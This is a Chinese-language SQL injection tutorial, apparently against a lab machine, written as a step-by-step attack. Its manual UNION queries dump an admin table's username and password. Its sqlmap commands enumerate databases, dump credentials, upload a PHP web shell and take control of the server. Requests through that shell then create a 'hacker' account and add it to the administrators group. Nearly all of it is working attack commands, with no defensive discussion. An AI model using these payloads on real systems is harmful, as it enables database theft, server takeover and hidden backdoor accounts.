什么是SQL注入:所谓SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求查询的字符串,最终达到欺骗服务器执行恶意的SQL命令,假如管理员没有对id参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询.
第一步找到漏洞链接
order by 3#
第三步使用联合查询从而获当前用户和数据名与数据库版本
union select user(),database(),version()#
第四步查询所有表格,我们已经知道目前所使用的数据库名是zkpy接下来我们查询表格名字
union select 1,2,table_name from information_schema.tables where table_schema='zkpy'#
回显出二个表格名称
第五步我们查看表格里面列 我们先猜解admin表吧 因为admin是管理员所以我们先猜它
union select 1,2,column_name from information_schema.columns where table_name='admin'#
回显信息列有 id,username,password
第六步我们进行查看username和password里面内容
union select 1,username,password from admin--+
可以看出账号是alpha密码是zkpy00Q
如果感觉手工注入麻烦的话,下面给大家带来二个工具注入sql,使用起来更简洁更方便更快,更有效率的来获取你想知道的内容
sqlmap是基于注入的一个工具,从而达到轻松获取内容
sqlmap -u "URL" --batch --batch代表全自动 不用我们手动输入y/n
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1"
有漏洞接下来我们查看当前使用的数据库
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-db --batch
查看当前数据库使用的用户是谁
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-user --batch
查看当前数据库是否是管理员权限
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --is-dba --batch 回显True就代表是管理员
接下来我们来报表格 当前所使用的数据库是zkpy
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy --tables --batch
回显信息显示有admin表格和news表 admin为管理员所以先破解admin表
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin --columns --batch
admin表格里面有3列,分别是 id,username,password
接下来我们导出这三列内容 --batch为导出
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin -C id,username,password --dump --batch
接下来就完毕了,成功获取用户名与密码
接下来我们使用sqlmap传递一个php脚本从而获取控制服务器
我们使用sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --os-shell来查看网页根目录
网页根目录是 C:/phpstudy/www 这是一个windows windows不区分大小写我们怎么样写都行
我们首先编辑一个木马文件 创建文件名为 shell.php
首先使用sqlmap上传文件 靶机my.ini配置文件里面必须开启这一项 否者不可上传不可读
接下来我们使用sqlmap上传一下shell.php文件
--file-write 是写入文件使用我们木马路径 --file-dest 是目的地 使用对方网页路径
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --file-write "/root/shell.php" --file-dest "c:/phpstudy/www/shell.php"
然后到浏览器访问我们刚才上传的木马即可 查看php信息
http://172.16.15.24/shell.php?CMD=phpinfo();
查看靶机权限
http://172.16.15.24/shell.php?CMD=echo passthru('whoami');
创建hacker用户
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker 1234560.0 /add');
授予用户管理员组让hacker用户也可以享受管理员权限
http://172.16.15.24/shell.php?CMD=echo passthru('net localgroup administrators hacker /add');
下面查看一下hacker用户是否存在 如果存在的话是什么权限
快捷方式你也可以使用 http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker');
http://172.16.15.24/shell.php?CMD=echo passthru('net user');
可以看到hacker用户存在的接下来查看一下它是什么组
接下来我们就可以任意执行代码了 也可以上传php脚本里面的include和require文件包含